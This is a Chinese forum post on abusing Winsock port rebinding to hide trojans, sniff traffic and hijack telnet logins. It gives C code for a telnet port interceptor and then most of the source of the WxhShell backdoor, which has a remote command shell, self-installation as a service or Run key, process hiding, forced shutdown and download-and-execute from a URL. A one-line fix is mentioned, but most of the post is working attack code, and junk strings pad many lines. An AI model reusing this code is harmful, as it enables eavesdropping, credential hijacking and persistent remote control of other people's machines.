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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lk`,mjhk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vjqs\  
4?',E ddo  
  saddr.sin_family = AF_INET; CFW#+U#U  
~{00moN"m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d`sIgll&n  
kE[Hq-J=N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \N a  
S2PPwCU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  %G>  
^@f-Ni\  
  这意味着什么?意味着可以进行如下的攻击: <(tnClAn  
@g%^H)T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u;Rm/.  
ZOzwO6(_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) / 0ra]}[(  
I4Rd2G_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n eBcS[  
qBF}-N_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hOM#j  
VK[`e[.C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,cFBLj(@  
ojbms>a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i~ITRi@  
7*C>4Gs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W%P$$x5&  
t2hI^J0y  
  #include W{X5~w(  
  #include 8dlhL8#  
  #include C+vk9:"  
  #include    YDjjhe+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XF i!=|F  
  int main() #4Ltw ,b^  
  { H$!sK  
  WORD wVersionRequested; /L; c -^  
  DWORD ret; V2o1~R~  
  WSADATA wsaData; JrGY`6##p  
  BOOL val; xz*MFoE  
  SOCKADDR_IN saddr; nq 9{{oe  
  SOCKADDR_IN scaddr; E6+ 6  
  int err; Xu%8Q?]  
  SOCKET s; a+ s%9l  
  SOCKET sc; $^5c8wT  
  int caddsize; 2'-o'z<  
  HANDLE mt; RN ~pC  
  DWORD tid;   ppR; v  
  wVersionRequested = MAKEWORD( 2, 2 ); tE"IE$$1  
  err = WSAStartup( wVersionRequested, &wsaData ); TFI$>Oz|  
  if ( err != 0 ) { RCY}JH>}  
  printf("error!WSAStartup failed!\n"); fK10{>E1  
  return -1; @WnW @'*F  
  } i/j eb*d0  
  saddr.sin_family = AF_INET; Jk_ }y  
   rtT*2k*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ueLdjASJ  
>vZ^D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {O5(O oDa  
  saddr.sin_port = htons(23); c;doxNd6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R=<uf:ca  
  { G~{#%i  
  printf("error!socket failed!\n"); @ayrI]m#>,  
  return -1; Z ItS(o J.  
  } -m_H]<lWZ  
  val = TRUE; i _YJq;(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2+}hsGnp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LLd5Z44v  
  { *DuP~8  
  printf("error!setsockopt failed!\n"); (3QG  
  return -1; |`Q2K9'4bL  
  } dH~i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [w?v !8l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uU!}/mbo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }]+k  
NflRNu:-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w3 K>IDWI7  
  { +OfHa\Nz  
  ret=GetLastError(); vxl!`$Pi  
  printf("error!bind failed!\n"); [KNA5(Y0  
  return -1; SxW.dT8{  
  } 9k3RC}dEr  
  listen(s,2); Xo ,U$zE  
  while(1) {LqahO*  
  {  ?h3t"9  
  caddsize = sizeof(scaddr); 9e0t  
  //接受连接请求 63T4''bwu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3u&)6C?YM  
  if(sc!=INVALID_SOCKET) F+285JK  
  { m?`?T   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =m/BH^|&W  
  if(mt==NULL) [f#7~  
  { (x1 #_~  
  printf("Thread Creat Failed!\n"); hs?cV)hDS  
  break; sg8j}^VI  
  } %^}|HG*i??  
  } ^-dhz88wV  
  CloseHandle(mt); '=cAdja  
  } !xz{X?  
  closesocket(s); /(?,S{]  
  WSACleanup(); Cd'K~Ch3  
  return 0; b&I{?'"%8  
  }   mM\jU5P:^  
  DWORD WINAPI ClientThread(LPVOID lpParam) YTV|]xpR  
  { %%^by  
  SOCKET ss = (SOCKET)lpParam; aSQvtv)91  
  SOCKET sc; |s, Add:S  
  unsigned char buf[4096]; {:ZsUnzm  
  SOCKADDR_IN saddr; FSA"U9 w<  
  long num; aJSBG|IC  
  DWORD val; cp L'  
  DWORD ret; ]Aa.=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w ?"s6L3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <gjA(xT5  
  saddr.sin_family = AF_INET; v|GDPq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }J(o!2.  
  saddr.sin_port = htons(23); 9y`Vg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IpKpj"eoLy  
  { JXk<t5@D  
  printf("error!socket failed!\n"); lvk r2Meu<  
  return -1; xL\R-H^c]  
  } e3}o3c_  
  val = 100; D0 ,t,,L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2F|06E'  
  { q#*b4q {  
  ret = GetLastError(); ,xuA%CF-S  
  return -1; epQdj=h  
  } '<%;Nv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $uCY\ xqZ  
  { Nj$h/P  
  ret = GetLastError(); s#%P9A  
  return -1; 0)E`6s#M  
  } Y<[jUe`O;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |$sMzPCxOk  
  { H@V+Q}  
  printf("error!socket connect failed!\n"); T56%3i  
  closesocket(sc); #6F/:j;  
  closesocket(ss); Qcs >BOV~  
  return -1; ILMXWw  
  } 7N}==T89[  
  while(1) [hXnw'Im/  
  { )=6o  ,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K&UTs$_cI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $pfN0/`(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z{rD4S @^  
  num = recv(ss,buf,4096,0); I9g!#lbl  
  if(num>0) 8 CCA}lOG  
  send(sc,buf,num,0); ?b3({P  
  else if(num==0) 6/l{e)rX2o  
  break; w6@8cNXK  
  num = recv(sc,buf,4096,0); n}toUqUnk\  
  if(num>0) AlhPT (  
  send(ss,buf,num,0); ~WX40z  
  else if(num==0) P= nu&$;  
  break; ^^{7`X u  
  } v8NoD_  
  closesocket(ss); iw0|A  
  closesocket(sc); ~#nbD-*#  
  return 0 ; ]97`=,OUg  
  } 'X/(M<c  
#/2W RN1L  
XS`=8FQ  
========================================================== $p~X"f?0  
uH=^ILN.  
下边附上一个代码,,WXhSHELL ;SVAar4r  
MH h;>tw  
========================================================== rLJjK$_x  
'o% .Q x  
#include "stdafx.h" t7qzAr  
82A[[^`  
#include <stdio.h> RZ GD5`n  
#include <string.h> XpoEZ|0  
#include <windows.h> CvB)+>oa  
#include <winsock2.h> X@up=%(  
#include <winsvc.h> dXewS_7  
#include <urlmon.h> .|x" '3#  
xe9V'wICp(  
#pragma comment (lib, "Ws2_32.lib") x'hUw*  
#pragma comment (lib, "urlmon.lib") PBY ^m+  
tk~<tqMq  
#define MAX_USER   100 // 最大客户端连接数 PYJ8\XZ1_N  
#define BUF_SOCK   200 // sock buffer 3v@Y"I3;  
#define KEY_BUFF   255 // 输入 buffer H*VZ&{\7  
7B8.;0X$W  
#define REBOOT     0   // 重启 +Qo]'xKr  
#define SHUTDOWN   1   // 关机 /Lt Lu  
1 -:{&!  
#define DEF_PORT   5000 // 监听端口 ZD t|g^  
o}VW%G"  
#define REG_LEN     16   // 注册表键长度 Ct\n1T }  
#define SVC_LEN     80   // NT服务名长度 O\ph!?L  
Hsvu&>[`S  
// 从dll定义API @o4n!Ip2x/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2:tO"   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,BuEX#ZaBl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $<v{$UOh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $5S/~8g(  
8*m=U@5]  
// wxhshell配置信息 D?6ah=:&R  
struct WSCFG { V{+5Fas^l  
  int ws_port;         // 监听端口 >4x~US[VB  
  char ws_passstr[REG_LEN]; // 口令 rWnZIt"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;+Uc} =  
  char ws_regname[REG_LEN]; // 注册表键名 ua HB\Uc  
  char ws_svcname[REG_LEN]; // 服务名 gaa;PX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R@Bnrk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V/CZcMY_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v''F\V )  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5"o)^8!>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uszH1@g'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 siK:?A@4D  
U?sio%`(  
}; JtGBNz!"  
H;=++Dh  
// default Wxhshell configuration RY9h^q*  
struct WSCFG wscfg={DEF_PORT, FNB4YZ6  
    "xuhuanlingzhe", aK4ZH}XHE"  
    1, ``9`Xq  
    "Wxhshell", Gp5[H}8K  
    "Wxhshell", A@qwD300Vo  
            "WxhShell Service", <Z58"dg.5  
    "Wrsky Windows CmdShell Service", +tSfx  
    "Please Input Your Password: ", dPO|x+N,  
  1, %.`<ud  
  "http://www.wrsky.com/wxhshell.exe", (cLcY%$  
  "Wxhshell.exe" |T;NoWO+  
    }; 6p1)wf.J  
A57e]2_  
// 消息定义模块 "5@k\?x"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fx `oe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B jsF5~+\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jpI=B  
char *msg_ws_ext="\n\rExit."; jZLD^@AP  
char *msg_ws_end="\n\rQuit."; 1Z| {3W  
char *msg_ws_boot="\n\rReboot..."; gW(7jFl  
char *msg_ws_poff="\n\rShutdown..."; 6<N Q/*(/  
char *msg_ws_down="\n\rSave to "; nW7Ew<`Q  
/+{]?y,  
char *msg_ws_err="\n\rErr!"; dxAP7v  
char *msg_ws_ok="\n\rOK!"; .Bb86Y=3  
|uRZT3bGyj  
char ExeFile[MAX_PATH]; qsTB)RdjP%  
int nUser = 0; b i 8Qbo4  
HANDLE handles[MAX_USER]; 9]^ CDL  
int OsIsNt; JC}oc M j0  
Y9_OkcW)  
SERVICE_STATUS       serviceStatus; P]wCC`qi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'v V |un(6  
$`O%bsjX  
// 函数声明 ^ua8Ya  
int Install(void); @}B,l.Tj  
int Uninstall(void); lhRo+X#G  
int DownloadFile(char *sURL, SOCKET wsh); w=MiJr#3^  
int Boot(int flag); Q@HW`@i  
void HideProc(void); U{%N.4:   
int GetOsVer(void); wdzZ41y1  
int Wxhshell(SOCKET wsl); ;;; {<GEQ  
void TalkWithClient(void *cs); -D-]tL6w  
int CmdShell(SOCKET sock); Se>"=[=  
int StartFromService(void); +M %zOX/  
int StartWxhshell(LPSTR lpCmdLine); 1`z^Xk8vt  
g Xi& S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0z1UF{{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k),!%6\(  
N5Rda2m  
// 数据结构和表定义 =SqI# v  
SERVICE_TABLE_ENTRY DispatchTable[] = HJ+I;OJ  
{ tP ;^;nw  
{wscfg.ws_svcname, NTServiceMain}, f~{@(g&Gl  
{NULL, NULL} y %4G[Dz  
}; ^N`bA8  
ZlxJY%o eu  
// 自我安装 JZM:R  
int Install(void) 3duWk sERC  
{ p z]T9ol~  
  char svExeFile[MAX_PATH]; +#IsRiH%>  
  HKEY key; 1y)|m63&  
  strcpy(svExeFile,ExeFile); >nA6w$  
@+(TM5Ub  
// 如果是win9x系统,修改注册表设为自启动 ;[}<xw3):  
if(!OsIsNt) { .o?"=Epo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \gE6KE<?p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8LZmr|/F*  
  RegCloseKey(key); :6}y gL*i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A tU!8Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pm* N!:u  
  RegCloseKey(key); q;{# ~<"+  
  return 0; Kf!8PR$  
    } 7[}K 2.W.  
  } ]J aV +b'O  
} 1tMs\e-  
else { pf'-(W+  
$Z8=QlG>  
// 如果是NT以上系统,安装为系统服务 t:?8I9d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gfW8s+  
if (schSCManager!=0) .tny"a&  
{ 4?s ~S. %  
  SC_HANDLE schService = CreateService &!E+l<.RF  
  ( Ka$YKY,  
  schSCManager, o;D[ F  
  wscfg.ws_svcname, tnCGa%M  
  wscfg.ws_svcdisp, 9N kr=/I"P  
  SERVICE_ALL_ACCESS, q\fZ Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vs0T*4C=n  
  SERVICE_AUTO_START, 5u=(zg  
  SERVICE_ERROR_NORMAL, ?%Pd:~4D  
  svExeFile, lNw8eT~2  
  NULL, Hi{1C"%  
  NULL, (E.,kcAJ  
  NULL, OE4hG xG  
  NULL, Q#} 0pq  
  NULL Cb5Rr +K=  
  ); 6zfi\(fop  
  if (schService!=0) )`sEdVxbr  
  { `l0&,]  
  CloseServiceHandle(schService); i{9_C/  
  CloseServiceHandle(schSCManager); snW=9b)m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,%zU5hh  
  strcat(svExeFile,wscfg.ws_svcname); nn0`A3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :"pA0oB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,iQRf@#W_b  
  RegCloseKey(key); uN)o|7  
  return 0; ?k*%r;e>  
    }  3~mi  
  } 9 Z 5!3  
  CloseServiceHandle(schSCManager); !Xzne_V<  
} ? !dy  
} DnZkZ;E/  
s$,gM,|cK  
return 1; !M&Qca2  
} .P|_C.3- l  
!&n'1gJ)kd  
// 自我卸载 o JLpFL  
int Uninstall(void) wM"P JG  
{ /4}B}"`Sl=  
  HKEY key; R2 I 7d'|v  
<Xsy{7  
if(!OsIsNt) { 1JFCYJy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /2n-q_  
  RegDeleteValue(key,wscfg.ws_regname); U^n71m>]%T  
  RegCloseKey(key); XIAHUT5~J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  )Uk!;b  
  RegDeleteValue(key,wscfg.ws_regname); VT;Vm3\  
  RegCloseKey(key); d*e0/#s  
  return 0; +@ FM~q  
  } ]hPu  
} *&d>Vk."]  
} M'n2j  
else { ~T{^7"q\  
B3j   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m4<5jC`-M  
if (schSCManager!=0) [f?fA[, [  
{ X(`wj~45VX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]f3eiHg*  
  if (schService!=0) *K<|E15 ,  
  { 'F)93SwU  
  if(DeleteService(schService)!=0) { h "MiD  
  CloseServiceHandle(schService); =Z3{6y}3p  
  CloseServiceHandle(schSCManager); Fbpe`pS+V  
  return 0; xejQ!MAB  
  } Y2j>@  
  CloseServiceHandle(schService); 'K L" i  
  } nI63Ns  
  CloseServiceHandle(schSCManager); (&W&1KT  
} 8$+mST'4N  
} ~^{jfHTlv  
c,K)*HB  
return 1; gyz#:z$p^  
} Q (3Na6  
%a_ rYrL  
// 从指定url下载文件 w=ib@_:f  
int DownloadFile(char *sURL, SOCKET wsh) 8,0WHivg  
{ |[RoR  
  HRESULT hr; YPV@/n[N  
char seps[]= "/"; /Vg=+FEO  
char *token; eNwF<0}  
char *file; ~6)A/]6  
char myURL[MAX_PATH]; x'4q`xDa  
char myFILE[MAX_PATH]; .d JX,^  
GV+K] KDI  
strcpy(myURL,sURL); -|"[S"e  
  token=strtok(myURL,seps); TQ/EH~Sz  
  while(token!=NULL) JZa^GW:YQh  
  {  rk F>c  
    file=token; y*BS %xTF  
  token=strtok(NULL,seps); `Mh 3v@K:  
  } &!xePKvO6k  
ko2T9NI:S  
GetCurrentDirectory(MAX_PATH,myFILE); YKUb'D:t]  
strcat(myFILE, "\\"); b-d{)-G{(  
strcat(myFILE, file); =02$Dwr  
  send(wsh,myFILE,strlen(myFILE),0); B=>VP-:  
send(wsh,"...",3,0); V>$A\AWw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?F^$4:  
  if(hr==S_OK) }f~:>N#  
return 0; + Z7 L&BI  
else MsaD@JY.y  
return 1; R;G"LT  
7z_EX8^  
} P?#I9y7iP  
j5rB+  
// 系统电源模块 g+X .8>=  
int Boot(int flag) 2ncD,@ij  
{ ~yGD("X  
  HANDLE hToken; 4R(H@p%+r2  
  TOKEN_PRIVILEGES tkp; 1I=>0 c  
^5MPK@)c,/  
  if(OsIsNt) { !a.|URa7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yGxAur=dE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (R9{wGV [  
    tkp.PrivilegeCount = 1; l"{1v ~I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u/I|<NAC,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -E$(<Pow~\  
if(flag==REBOOT) { tyW5k(>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?g6xy[  
  return 0; JB <GV-l  
} /.1yxb#Z?,  
else { >!D^F]CH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SJ4+s4!l <  
  return 0; ep$C nBwE  
} f"{|c@%  
  } KBe\)Vs  
  else { '{[n,xeR  
if(flag==REBOOT) { A(2\Gfe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Wr%l $~  
  return 0; <Lt%[dn  
} ]52.nxs~  
else { MJzY|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9W7 ljUg  
  return 0; Wq+a5[3"  
} wm'a)B?  
} m\0Xh*  
tbH` VD"u  
return 1; 3w>S?"W#  
} kL7n`o  
#Ns]l<  
// win9x进程隐藏模块 ]UMt  
void HideProc(void) f*:DH4g }B  
{ |h7 d #V>  
&2P+9j>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M3 TsalF  
  if ( hKernel != NULL ) xk#q_!(j  
  { w|k?2 ?&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~fht [S?@M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S{0iPdUC  
    FreeLibrary(hKernel); ~OE1Sd:2  
  } jQ"z\}Wf  
_ddOsg|U  
return; a(eKb2CX  
} vOIzfwYG9  
- K@mjN  
// 获取操作系统版本 LwI A4$d  
int GetOsVer(void) O-=~Bn _  
{ C)a;zU;9  
  OSVERSIONINFO winfo; OpNxd]"T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DO^ J=e  
  GetVersionEx(&winfo); GBvgVX<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ROWI.|  
  return 1; Qms,kX  
  else QMz6syn4u  
  return 0; ZHN@&Gg6)  
} :kU-ol$  
#H5i$ o  
// 客户端句柄模块 Fmd^9K  
int Wxhshell(SOCKET wsl) !1b4q/  
{ 5fT"`FL?  
  SOCKET wsh; MB!_G[R  
  struct sockaddr_in client; [wO|P{8\"  
  DWORD myID; blk4@pg  
+W7#G `>  
  while(nUser<MAX_USER) <b,oF]+;z  
{ SJJ[y"GvD  
  int nSize=sizeof(client); "C/X#y   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &Rp/y%9  
  if(wsh==INVALID_SOCKET) return 1; )ZQ>h{}D  
gic!yhsS_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T!yI+<  
if(handles[nUser]==0) r-s9]0"7~  
  closesocket(wsh); B*3<(eI  
else ,pHQv(K/  
  nUser++; %@~;PS3kd  
  } TpH-_ft  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' O+)[D  
DTMoZm  
  return 0; F*['1eAmdY  
} 11g_!X -g@  
~ubcD6f  
// 关闭 socket DmA~Vj!a^y  
void CloseIt(SOCKET wsh) "T4buTXJ  
{ *De}3-e1b  
closesocket(wsh); {2v,J]v_[  
nUser--; us7t>EMmB  
ExitThread(0); IyPk3N  
} NRI @M5  
QE Q/  
// 客户端请求句柄 ng6".u9  
void TalkWithClient(void *cs) ]=28s *@  
{ iU/v; T(  
zAkF:^#Y  
  SOCKET wsh=(SOCKET)cs; O}3|UI!`  
  char pwd[SVC_LEN]; !SPu9:  
  char cmd[KEY_BUFF]; =A]*r9  
char chr[1]; sd,KB+)  
int i,j; WcOnv'l,  
+.2O Z3(  
  while (nUser < MAX_USER) { Q ^{XM  
7@NV|Idtd  
if(wscfg.ws_passstr) { /Pyj|!C3`q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !zZ3F|+HB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8t5o&8v  
  //ZeroMemory(pwd,KEY_BUFF); r?$ V;Z  
      i=0; QnTKo&|9  
  while(i<SVC_LEN) { 4Nl3"@<$  
"sUjJ|  
  // 设置超时 *Tum(wWZ  
  fd_set FdRead; Iy#=Nq=  
  struct timeval TimeOut; {bP )Fon  
  FD_ZERO(&FdRead); [lz#+~rOS  
  FD_SET(wsh,&FdRead); /_[?i"GW  
  TimeOut.tv_sec=8; Z4s+8cTHn  
  TimeOut.tv_usec=0; WXs?2S*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R^?9 V=Y<T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EGysA{o"X  
yBl9a-2A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |r+w(TG  
  pwd=chr[0]; ''?iJFR  
  if(chr[0]==0xd || chr[0]==0xa) { ^:u-wr8?{  
  pwd=0; :LxsiDrF[  
  break; EpCF/i?9:  
  } fda)t1u\8  
  i++; j_{f(.5  
    } qHl>d*IZ  
r]=Z :  
  // 如果是非法用户,关闭 socket =oT4!OUf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &hcD/*_Z  
} ^e{]WH?  
zhgvqg-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \OW.?1d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {WvYb,  
_lBHZJ+  
while(1) { hlBMRx49  
,}:}"cl  
  ZeroMemory(cmd,KEY_BUFF); *_sSM+S  
dlRTxb^Y>u  
      // 自动支持客户端 telnet标准   .x'?&7#(  
  j=0; h7kn >q;  
  while(j<KEY_BUFF) { nIWY<Z"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8bdx$,$k  
  cmd[j]=chr[0]; Ei4Iv#Oi`  
  if(chr[0]==0xa || chr[0]==0xd) { (_3QZ  
  cmd[j]=0; UB,0c)   
  break; gE9x+g  
  } m(w9s;<  
  j++; +Kp8X53  
    } ()W`4p  
sV;q(,oru  
  // 下载文件 GmH`ipi  
  if(strstr(cmd,"http://")) { 5c0$oyl)M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1T}jK^"  
  if(DownloadFile(cmd,wsh)) NpH9}, 1i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 b80b50  
  else %)w7t[A2D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AAF']z<4_"  
  } ](^FGz  
  else { &S39SV  
I23"DBR3  
    switch(cmd[0]) { ~(`&hYE  
  uN=f( -"  
  // 帮助 VA @  
  case '?': { aUi^7;R&<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k'NP+N<M  
    break; `$MO;Fv,G  
  } uT>"(wnJ|  
  // 安装 jN!VrRA  
  case 'i': { hd W7Qck"  
    if(Install()) 6a704l%#hb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E BSjU8  
    else nG%<n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )4RSo&9p`  
    break; p2 !w86 F  
    } 2^qJ'<2]M  
  // 卸载 gnadx52FP  
  case 'r': { X!6$<8+1OV  
    if(Uninstall()) deEc;IAo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b!qlucA eE  
    else <tW/9}@p9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wf~PP;  
    break; VAp 1{  
    } j_.tg7X  
  // 显示 wxhshell 所在路径 aTkMg  
  case 'p': { CIVV"p`}  
    char svExeFile[MAX_PATH]; oA8A @,-L  
    strcpy(svExeFile,"\n\r"); g"N&*V2  
      strcat(svExeFile,ExeFile); jW{bP_,"  
        send(wsh,svExeFile,strlen(svExeFile),0);  & [ ,*  
    break; $h[Q }uW  
    } \ 0Ba?  
  // 重启 _p?s[r*  
  case 'b': { *;l[|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ #fz [U  
    if(Boot(REBOOT)) fOdX2{7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nUK;M[  
    else { iu$Y0.H@  
    closesocket(wsh); & x$ps  
    ExitThread(0); Fzt7@VNxc  
    } `NNP}O2  
    break; 4>/i,_&K K  
    } xZ(d*/6E  
  // 关机 53?Ati\Y)  
  case 'd': { mC3:P5/c  
